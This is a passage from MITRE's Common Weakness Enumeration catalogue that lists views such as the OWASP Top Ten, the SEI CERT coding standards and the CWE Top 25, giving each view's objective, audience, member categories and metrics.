HasMember		864	2011 Top 25 - Insecure Interaction Between Components	2164
HasMember		865	2011 Top 25 - Risky Resource Management	2165
HasMember		866	2011 Top 25 - Porous Defenses	2165
HasMember		867	2011 Top 25 - Weaknesses On the Cusp	2166

### References

[REF-843]"2011 CWE/SANS Top 25 Most Dangerous Software Errors". 2011 June 7. < [http://cwe.mitre.org/top25/archive/2011/2011\\_cwe\\_sans\\_top25.html](http://cwe.mitre.org/top25/archive/2011/2011_cwe_sans_top25.html) >.

### Metrics

	CWEs in this view	Total CWEs
Weaknesses	41 out of	933
Categories	4 out of	352
Views	0 out of	47
Total	45 out of	1332

## View-919: Weaknesses in Mobile Applications

View ID : 919

Type : Implicit

### Objective

CWE entries in this view (slice) are often seen in mobile applications.

### Filter

/Weakness\_Catalog/Weaknesses/Weakness[./Applicable\_Platforms/Technology/@Class='Mobile']

### Membership

Nature	Type	ID	Name	Page
HasMember		919	Weaknesses in Mobile Applications	2333

### Metrics

	CWEs in this view	Total CWEs
Weaknesses	21 out of	933
Categories	0 out of	352
Views	0 out of	47
Total	21 out of	1332

## View-928: Weaknesses in OWASP Top Ten (2013)

View ID : 928

Type : Graph

## Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2013. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

## Audience

### Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2013 version), providing a good starting point for web application developers who want to code more securely.











### Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2013 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

### Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

## Membership

Nature	Type	ID	Name	Page
HasMember		929	OWASP Top Ten 2013 Category A1 - Injection	2182
HasMember		930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	2183
HasMember		931	OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)	2183
HasMember		932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	2184
HasMember		933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	2184
HasMember		934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	2184
HasMember		935	OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control	2185
HasMember		936	OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)	2185
HasMember		937	OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities	2186
HasMember		938	OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards	2186

## Notes

### Relationship

The relationships in this view have been pulled directly from the 2013 OWASP Top 10 document, either from the explicit mapping section, or from weakness types alluded to in the written sections.

## References

[REF-926]"Top 10 2013". 2013 June 2. OWASP. < [https://www.owasp.org/index.php/Top\\_10\\_2013](https://www.owasp.org/index.php/Top_10_2013) >.

## Metrics

	CWEs in this view	Total CWEs
Weaknesses	36	out of 933



	CWEs in this view		Total CWEs
Categories	13	out of	352
Views	0	out of	47
Total	49	out of	1332

## View-1000: Research Concepts

View ID : 1000

Type : Graph

### Objective

This view is intended to facilitate research into weaknesses, including their inter-dependencies, and can be leveraged to systematically identify theoretical gaps within CWE. It is mainly organized according to abstractions of behaviors instead of how they can be detected, where they appear in code, or when they are introduced in the development life cycle. By design, this view is expected to include every weakness within CWE.

### Audience

#### Academic Researchers

Academic researchers can use the high-level classes that lack a significant number of children to identify potential areas for future research.

#### Vulnerability Analysts

Those who perform vulnerability discovery/analysis use this view to identify related weaknesses that might be leveraged by following relationships between higher-level classes and bases.

#### Assessment Tool Vendors

Assessment vendors often use this view to help identify additional weaknesses that a tool may be able to detect as the relationships are more aligned with a tool's technical capabilities.

### Membership

Nature	Type	ID	Name	Page
HasMember	P	284	Improper Access Control	644
HasMember	P	435	Improper Interaction Between Multiple Correctly-Behaving Entities	998
HasMember	P	664	Improper Control of a Resource Through its Lifetime	1367
HasMember	P	682	Incorrect Calculation	1403
HasMember	P	691	Insufficient Control Flow Management	1420
HasMember	P	693	Protection Mechanism Failure	1422
HasMember	P	697	Incorrect Comparison	1428
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	1433
HasMember	P	707	Improper Neutralization	1440
HasMember	P	710	Improper Adherence to Coding Standards	1444

### Notes

#### Other

This view uses a deep hierarchical organization, with more levels of abstraction than other classification schemes. The top-level entries are called Pillars. Where possible, this view uses abstractions that do not consider particular languages, frameworks, technologies, life cycle development phases, frequency of occurrence, or types of resources. It explicitly identifies relationships that form chains and composites, which have not been a formal part of past classification efforts. Chains and composites might help explain why mutual exclusivity is difficult to achieve within security error taxonomies. This view is roughly aligned with MITRE's research



into vulnerability theory, especially with respect to behaviors and resources. Ideally, this view will only cover weakness-to-weakness relationships, with minimal overlap and zero categories. It is expected to include at least one parent/child relationship for every weakness within CWE.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	933	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	933	out of	1332

## View-1003: Weaknesses for Simplified Mapping of Published Vulnerabilities

View ID : 1003

Type : Graph

### Objective

CWE entries in this view (graph) may be used to categorize potential weaknesses within sources that handle public, third-party vulnerability information, such as the National Vulnerability Database (NVD). By design, this view is incomplete; it is limited to a small number of the most commonly-seen weaknesses, so that it is easier for humans to use. This view uses a shallow hierarchy of two levels in order to simplify the complex, category-oriented navigation of the entire CWE corpus.

### Membership

Nature	Type	ID	Name	Page
HasMember		20	Improper Input Validation	19
HasMember		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133
HasMember		116	Improper Encoding or Escaping of Output	272
HasMember		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
HasMember		200	Exposure of Sensitive Information to an Unauthorized Actor	484
HasMember		269	Improper Privilege Management	613
HasMember		287	Improper Authentication	657
HasMember		311	Missing Encryption of Sensitive Data	718
HasMember		326	Inadequate Encryption Strength	756
HasMember		327	Use of a Broken or Risky Cryptographic Algorithm	758
HasMember		330	Use of Insufficiently Random Values	772
HasMember		345	Insufficient Verification of Data Authenticity	805
HasMember		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	841
HasMember		400	Uncontrolled Resource Consumption	912
HasMember		404	Improper Resource Shutdown or Release	927
HasMember		407	Inefficient Algorithmic Complexity	939
HasMember		436	Interpretation Conflict	1000
HasMember		610	Externally Controlled Reference to a Resource in Another Sphere	1285
HasMember		662	Improper Synchronization	1363
HasMember		665	Improper Initialization	1368
HasMember		668	Exposure of Resource to Wrong Sphere	1380
HasMember		669	Incorrect Resource Transfer Between Spheres	1383
HasMember		670	Always-Incorrect Control Flow Implementation	1384

Nature	Type	ID	Name	Page
HasMember		672	Operation on a Resource after Expiration or Release	1386
HasMember		674	Uncontrolled Recursion	1391
HasMember	P	682	Incorrect Calculation	1403
HasMember	P	697	Incorrect Comparison	1428
HasMember		704	Incorrect Type Conversion or Cast	1435
HasMember		706	Use of Incorrectly-Resolved Name or Reference	1439
HasMember		732	Incorrect Permission Assignment for Critical Resource	1445
HasMember		754	Improper Check for Unusual or Exceptional Conditions	1460
HasMember		755	Improper Handling of Exceptional Conditions	1468
HasMember		834	Excessive Iteration	1634
HasMember		862	Missing Authorization	1657
HasMember		863	Incorrect Authorization	1664
HasMember		913	Improper Control of Dynamically-Managed Code Resources	1681
HasMember		922	Insecure Storage of Sensitive Information	1698

## Notes

### Maintenance

This view may change in any upcoming CWE version based on the experience of NVD analysts, public feedback, and the CWE Team - especially with respect to the CWE Top 25 analysis.

### Maintenance

This view has been modified significantly since its last major revision in 2016 (CWE-635 was used before 2016).

## References

[REF-1]NIST. "CWE - Common Weakness Enumeration". < <http://nvd.nist.gov/cwe.cfm> >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	130	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	130	out of	1332

## View-1008: Architectural Concepts

**View ID :** 1008

**Type :** Graph

### Objective

This view organizes weaknesses according to common architectural security tactics. It is intended to assist architects in identifying potential mistakes that can be made when designing software.

### Audience

#### Software Developers

Architects that are part of a software development team may find this view useful as the weaknesses are organized by known security tactics, aiding the architect in embedding security throughout the design process instead of discovering weaknesses after the software has been built.

#### Educators

Educators may use this view as reference material when discussing security by design or architectural weaknesses, and the types of mistakes that can be made.

### Membership

Nature	Type	ID	Name	Page
HasMember	C	1009	Audit	2217
HasMember	C	1010	Authenticate Actors	2217
HasMember	C	1011	Authorize Actors	2218
HasMember	C	1012	Cross Cutting	2220
HasMember	C	1013	Encrypt Data	2221
HasMember	C	1014	Identify Actors	2222
HasMember	C	1015	Limit Access	2223
HasMember	C	1016	Limit Exposure	2224
HasMember	C	1017	Lock Computer	2225
HasMember	C	1018	Manage User Sessions	2225
HasMember	C	1019	Validate Inputs	2226
HasMember	C	1020	Verify Message Integrity	2227

### Notes

#### Other

The top level categories in this view represent the individual tactics that are part of a secure-by-design approach to software development. The weaknesses that are members of each category contain information about how each is introduced relative to the software's architecture. Three different modes of introduction are used: Omission - caused by missing a security tactic when it is necessary. Commission - refers to incorrect choice of tactics which could result in undesirable consequences. Realization - appropriate security tactics are adopted but are incorrectly implemented.

### References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/cawe-paper.pdf> >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf> >.

### Metrics

	CWEs in this view		Total CWEs
Weaknesses	223	out of	933
Categories	12	out of	352
Views	0	out of	47
Total	235	out of	1332

## View-1026: Weaknesses in OWASP Top Ten (2017)

View ID : 1026

Type : Graph

### Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2017.

### Audience

## Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2017 version), providing a good starting point for web application developers who want to code more securely.

## Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2017 version), providing product customers with a way of asking their software development teams to follow minimum expectations for secure code.

## Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

## Membership

Nature	Type	ID	Name	Page
HasMember	<b>C</b>	1027	OWASP Top Ten 2017 Category A1 - Injection	2228
HasMember	<b>C</b>	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	2229
HasMember	<b>C</b>	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	2229
HasMember	<b>C</b>	1030	OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)	2230
HasMember	<b>C</b>	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control	2230
HasMember	<b>C</b>	1032	OWASP Top Ten 2017 Category A6 - Security Misconfiguration	2231
HasMember	<b>C</b>	1033	OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)	2231
HasMember	<b>C</b>	1034	OWASP Top Ten 2017 Category A8 - Insecure Deserialization	2232
HasMember	<b>C</b>	1035	OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities	2232
HasMember	<b>C</b>	1036	OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring	2232

## Notes

### Relationship

The relationships in this view have been pulled directly from the 2017 OWASP Top 10 document, either from the explicit mapping section, or from weakness types alluded to in the written sections.

## References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < [https://owasp.org/www-pdf-archive/OWASP\\_Top\\_10-2017\\_%28en%29.pdf.pdf](https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf) >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	41	out of	933
Categories	12	out of	352
Views	0	out of	47
Total	53	out of	1332

## View-1040: Quality Weaknesses with Indirect Security Impacts

View ID : 1040

Type : Implicit

### Objective

CWE identifiers in this view (slice) are quality issues that only indirectly make it easier to introduce a vulnerability and/or make the vulnerability more difficult to detect or mitigate.

### Audience

#### Assessment Tool Vendors

This view makes it easier for assessment vendors to identify and improve coverage for quality-related weaknesses.

#### Software Developers

This view makes it easier for developers to identify and learn about issues that might make their code more difficult to maintain, perform efficiently or reliably, or secure.

#### Product Vendors

This view makes it easier for software vendors to identify important issues that may make their software more difficult to maintain, perform efficiently or reliably, or secure.

### Filter

/Weakness\_Catalog/Weaknesses/Weakness[Weakness\_Ordinalities/Weakness\_Ordinality/Ordinality='Indirect']

### Membership

Nature	Type	ID	Name	Page
HasMember	<input checked="" type="checkbox"/>	1040	Quality Weaknesses with Indirect Security Impacts	2339

### Metrics

	CWEs in this view		Total CWEs
Weaknesses	112	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	112	out of	1332

## View-1081: Entries with Maintenance Notes

View ID : 1081

Type : Implicit

### Objective

CWE entries in this view have maintenance notes. Maintenance notes are an indicator that an entry might change significantly in future versions. This view was created due to feedback from the CWE Board and participants in the CWE Compatibility Summit in March 2021.

### Audience

#### Assessment Tool Vendors

Assessment vendors may use this view to anticipate future changes to CWE that will help them to better prepare customers for important changes in CWE.

### Filter

/Weakness\_Catalog/\*/\*[Notes/Note[@Type='Maintenance']]

### Membership

Nature	Type	ID	Name	Page
HasMember	<input checked="" type="checkbox"/>	1081	Entries with Maintenance Notes	2340

**Metrics**

	CWEs in this view		Total CWEs
Weaknesses	143	out of	933
Categories	39	out of	352
Views	4	out of	47
Total	186	out of	1332

**View-1128: CISQ Quality Measures (2016)**

View ID : 1128

Type : Graph

**Objective**

This view outlines the most important software quality issues as identified by the Consortium for Information & Software Quality (CISQ) Automated Quality Characteristic Measures, released in 2016. These measures are derived from Object Management Group (OMG) standards.

**Audience****Software Developers**

This view provides a good starting point for anyone involved in software development (including architects, designers, coders, and testers) to ensure that code quality issues are considered during the development process.

**Product Vendors**

This view can help product vendors understand code quality issues and convey an overall status of their software.

**Assessment Tool Vendors**

This view provides a good starting point for assessment tool vendors (e.g., vendors selling static analysis tools) who wish to understand what constitutes software with good code quality, and which quality issues may be of concern.

**Membership**

Nature	Type	ID	Name	Page
HasMember	<b>C</b>	1129	CISQ Quality Measures (2016) - Reliability	2233
HasMember	<b>C</b>	1130	CISQ Quality Measures (2016) - Maintainability	2234
HasMember	<b>C</b>	1131	CISQ Quality Measures (2016) - Security	2235
HasMember	<b>C</b>	1132	CISQ Quality Measures (2016) - Performance Efficiency	2236

**References**

[REF-968]Consortium for Information & Software Quality (CISQ). "Automated Quality Characteristic Measures". 2016. < <http://it-cisq.org/standards/automated-quality-characteristic-measures/> >.

**Metrics**

	CWEs in this view		Total CWEs
Weaknesses	77	out of	933
Categories	4	out of	352
Views	0	out of	47
Total	81	out of	1332

**View-1133: Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java**

View ID : 1133

Type : Graph

## Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the online wiki that reflects that current rules and recommendations of the SEI CERT Oracle Coding Standard for Java.

## Audience

### Software Developers

By following the SEI CERT Oracle Coding Standard for Java, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

### Product Customers

If a software developer claims to be following the SEI CERT Oracle Secure Coding Standard for Java, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

## Membership

Nature	Type	ID	Name	Page
HasMember	<b>C</b>	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	2237
HasMember	<b>C</b>	1135	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL)	2237
HasMember	<b>C</b>	1136	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)	2238
HasMember	<b>C</b>	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	2238
HasMember	<b>C</b>	1138	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 04. Characters and Strings (STR)	2239
HasMember	<b>C</b>	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	2239
HasMember	<b>C</b>	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	2240
HasMember	<b>C</b>	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	2241
HasMember	<b>C</b>	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	2241
HasMember	<b>C</b>	1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)	2242
HasMember	<b>C</b>	1144	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 10. Thread APIs (THI)	2242
HasMember	<b>C</b>	1145	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)	2243
HasMember	<b>C</b>	1146	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 12. Thread-Safety Miscellaneous (TSM)	2243
HasMember	<b>C</b>	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	2244



Nature	Type	ID	Name	Page
HasMember	<b>C</b>	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	2244
HasMember	<b>C</b>	1149	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)	2245
HasMember	<b>C</b>	1150	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV)	2245
HasMember	<b>C</b>	1151	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 17. Java Native Interface (JNI)	2246
HasMember	<b>C</b>	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	2246
HasMember	<b>C</b>	1153	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 50. Android (DRD)	2247
HasMember	<b>C</b>	1175	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 18. Concurrency (CON)	2257

## Notes

### Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

## References

[REF-970]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java". <  
<https://wiki.sei.cmu.edu/confluence/display/java/SEI+CERT+Oracle+Coding+Standard+for+Java> >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	88	out of	933
Categories	21	out of	352
Views	0	out of	47
Total	109	out of	1332

## View-1154: Weaknesses Addressed by the SEI CERT C Coding Standard

View ID : 1154

Type : Graph

### Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the online wiki that reflects that current rules and recommendations of the SEI CERT C Coding Standard.

### Audience

#### Software Developers

By following the SEI CERT C Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

#### Product Customers

If a software developer claims to be following the SEI CERT C Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

### Membership

Nature	Type	ID	Name	Page
HasMember	<b>C</b>	1155	SEI CERT C Coding Standard - Guidelines 01. Preprocessor (PRE)	2247
HasMember	<b>C</b>	1156	SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	2248
HasMember	<b>C</b>	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	2248
HasMember	<b>C</b>	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	2249
HasMember	<b>C</b>	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)	2250
HasMember	<b>C</b>	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	2250
HasMember	<b>C</b>	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	2251
HasMember	<b>C</b>	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	2251
HasMember	<b>C</b>	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	2252
HasMember	<b>C</b>	1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)	2253
HasMember	<b>C</b>	1166	SEI CERT C Coding Standard - Guidelines 11. Signals (SIG)	2254
HasMember	<b>C</b>	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	2254
HasMember	<b>C</b>	1168	SEI CERT C Coding Standard - Guidelines 13. Application Programming Interfaces (API)	2255
HasMember	<b>C</b>	1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)	2255
HasMember	<b>C</b>	1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	2256
HasMember	<b>C</b>	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	2256
HasMember	<b>C</b>	1172	SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN)	2257

### Notes

#### Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

### References

[REF-598]The Software Engineering Institute. "SEI CERT C Coding Standard". < <https://wiki.sei.cmu.edu/confluence/display/c/SEI+CERT+C+Coding+Standard> >.

**Metrics**

	CWEs in this view		Total CWEs
Weaknesses	78	out of	933
Categories	17	out of	352
Views	0	out of	47
Total	95	out of	1332

**View-1178: Weaknesses Addressed by the SEI CERT Perl Coding Standard**

View ID : 1178

Type : Graph

**Objective**

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the online wiki that reflects that current rules and recommendations of the SEI CERT Perl Coding Standard.

**Audience****Software Developers**

By following the SEI CERT Perl Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

**Product Customers**

If a software developer claims to be following the SEI CERT Perl Coding Standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

**Educators**

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

**Membership**

Nature	Type	ID	Name	Page
HasMember	<b>C</b>	1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)	2258
HasMember	<b>C</b>	1180	SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	2258
HasMember	<b>C</b>	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	2259
HasMember	<b>C</b>	1182	SEI CERT Perl Coding Standard - Guidelines 04. Integers (INT)	2260
HasMember	<b>C</b>	1183	SEI CERT Perl Coding Standard - Guidelines 05. Strings (STR)	2260
HasMember	<b>C</b>	1184	SEI CERT Perl Coding Standard - Guidelines 06. Object-Oriented Programming (OOP)	2260
HasMember	<b>C</b>	1185	SEI CERT Perl Coding Standard - Guidelines 07. File Input and Output (FIO)	2261
HasMember	<b>C</b>	1186	SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC)	2261

**Notes**

## Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

## References

[REF-1011]The Software Engineering Institute. "SEI CERT Perl Coding Standard". < <https://wiki.sei.cmu.edu/confluence/display/perl/SEI+CERT+Perl+Coding+Standard> >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	26	out of	933
Categories	9	out of	352
Views	0	out of	47
Total	35	out of	1332

## View-1194: Hardware Design

View ID : 1194

Type : Graph

## Objective

This view organizes weaknesses around concepts that are frequently used or encountered in hardware design. Accordingly, this view can align closely with the perspectives of designers, manufacturers, educators, and assessment vendors. It provides a variety of categories that are intended to simplify navigation, browsing, and mapping.

## Audience

### Hardware Designers

Hardware Designers use this view to better understand potential mistakes that can be made in specific areas of their IP design. The use of concepts with which hardware designers are familiar makes it easier to navigate.

### Educators

Educators use this view to teach future professionals about the types of mistakes that are commonly made in hardware design.

## Membership

Nature	Type	ID	Name	Page
HasMember	C	1195	Manufacturing and Life Cycle Management Concerns	2262
HasMember	C	1196	Security Flow Issues	2262
HasMember	C	1197	Integration Issues	2263
HasMember	C	1198	Privilege Separation and Access Control Issues	2263
HasMember	C	1199	General Circuit and Logic Design Concerns	2264
HasMember	C	1201	Core and Compute Issues	2265
HasMember	C	1202	Memory and Storage Issues	2265
HasMember	C	1203	Peripherals, On-chip Fabric, and Interface/IO Problems	2265
HasMember	C	1205	Security Primitives and Cryptography Issues	2266
HasMember	C	1206	Power, Clock, Thermal, and Reset Concerns	2266
HasMember	C	1207	Debug and Test Problems	2267
HasMember	C	1208	Cross-Cutting Problems	2268
HasMember	C	1388	Physical Access Issues and Concerns	2309

## Notes

### Other

The top level categories in this view represent commonly understood areas/terms within hardware design, and are meant to aid the user in identifying potential related weaknesses. It is possible for the same weakness to exist within multiple different categories.

### Other

This view attempts to present weaknesses in a simple and intuitive way. As such it targets a single level of abstraction. It is important to realize that not every CWE will be represented in this view. High-level class weaknesses and low-level variant weaknesses are mostly ignored. However, by exploring the weaknesses that are included, and following the defined relationships, one can find these higher and lower level weaknesses.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	104	out of	933
Categories	13	out of	352
Views	0	out of	47
Total	117	out of	1332

## View-1200: Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors

View ID : 1200

Type : Graph

### Objective

CWE entries in this view are listed in the 2019 CWE Top 25 Most Dangerous Software Errors.

### Audience

#### Software Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.






#### Product Customers

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

#### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

### Membership

Nature	Type	ID	Name	Page
HasMember		20	Improper Input Validation	19
HasMember		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
HasMember		78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	147
HasMember		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159
HasMember		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	195

Nature	Type	ID	Name	Page
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	213
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
HasMember	B	125	Out-of-bounds Read	316
HasMember	B	190	Integer Overflow or Wraparound	453
HasMember	C	200	Exposure of Sensitive Information to an Unauthorized Actor	484
HasMember	C	269	Improper Privilege Management	613
HasMember	C	287	Improper Authentication	657
HasMember	B	295	Improper Certificate Validation	677
HasMember	A	352	Cross-Site Request Forgery (CSRF)	821
HasMember	C	400	Uncontrolled Resource Consumption	912
HasMember	V	416	Use After Free	958
HasMember	B	426	Untrusted Search Path	972
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	991
HasMember	B	476	NULL Pointer Dereference	1070
HasMember	B	502	Deserialization of Untrusted Data	1137
HasMember	B	611	Improper Restriction of XML External Entity Reference	1286
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	1445
HasMember	B	772	Missing Release of Resource after Effective Lifetime	1512
HasMember	B	787	Out-of-bounds Write	1547
HasMember	B	798	Use of Hard-coded Credentials	1573

## References

[REF-1028]"2019 CWE Top 25 Most Dangerous Software Errors". 2019 September 6. < [http://cwe.mitre.org/top25/archive/2019/2019\\_cwe\\_top25.html](http://cwe.mitre.org/top25/archive/2019/2019_cwe_top25.html) >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	25	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	25	out of	1332

## View-1305: CISQ Quality Measures (2020)

View ID : 1305

Type : Graph

### Objective

This view outlines the most important software quality issues as identified by the Consortium for Information & Software Quality (CISQ) Automated Quality Characteristic Measures, released in 2020. These measures are derived from Object Management Group (OMG) standards.

### Audience

#### Software Developers

This view provides a good starting point for anyone involved in software development (including architects, designers, coders, and testers) to ensure that code quality issues are considered during the development process.





#### Product Vendors

This view can help product vendors understand code quality issues and convey an overall status of their software.

### Assessment Tool Vendors

This view provides a good starting point for assessment tool vendors (e.g., vendors selling static analysis tools) who wish to understand what constitutes software with good code quality, and which quality issues may be of concern.

### Membership

Nature	Type	ID	Name	Page
HasMember		1306	CISQ Quality Measures - Reliability	2276
HasMember		1307	CISQ Quality Measures - Maintainability	2277
HasMember		1308	CISQ Quality Measures - Security	2278
HasMember		1309	CISQ Quality Measures - Efficiency	2279

### References

[REF-1133]Consortium for Information & Software Quality (CISQ). "Automated Source Code Quality Measures". 2020. < <https://www.omg.org/spec/ASCQM/> >.

### Metrics

	CWEs in this view		Total CWEs
Weaknesses	138	out of	933
Categories	4	out of	352
Views	0	out of	47
Total	142	out of	1332

## View-1337: Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses

View ID : 1337

Type : Graph

### Objective

CWE entries in this view are listed in the 2021 CWE Top 25 Most Dangerous Software Weaknesses.

### Audience

#### Software Developers

By following the CWE Top 25, developers are able to significantly reduce the number of weaknesses that occur in their software.



#### Product Customers

Customers can use the weaknesses in this view in order to formulate independent evidence of a claim by a product vendor to have eliminated / mitigated the most dangerous weaknesses.

#### Educators

Educators can use this view to focus curriculum and teachings on the most dangerous weaknesses.

### Membership

Nature	Type	ID	Name	Page
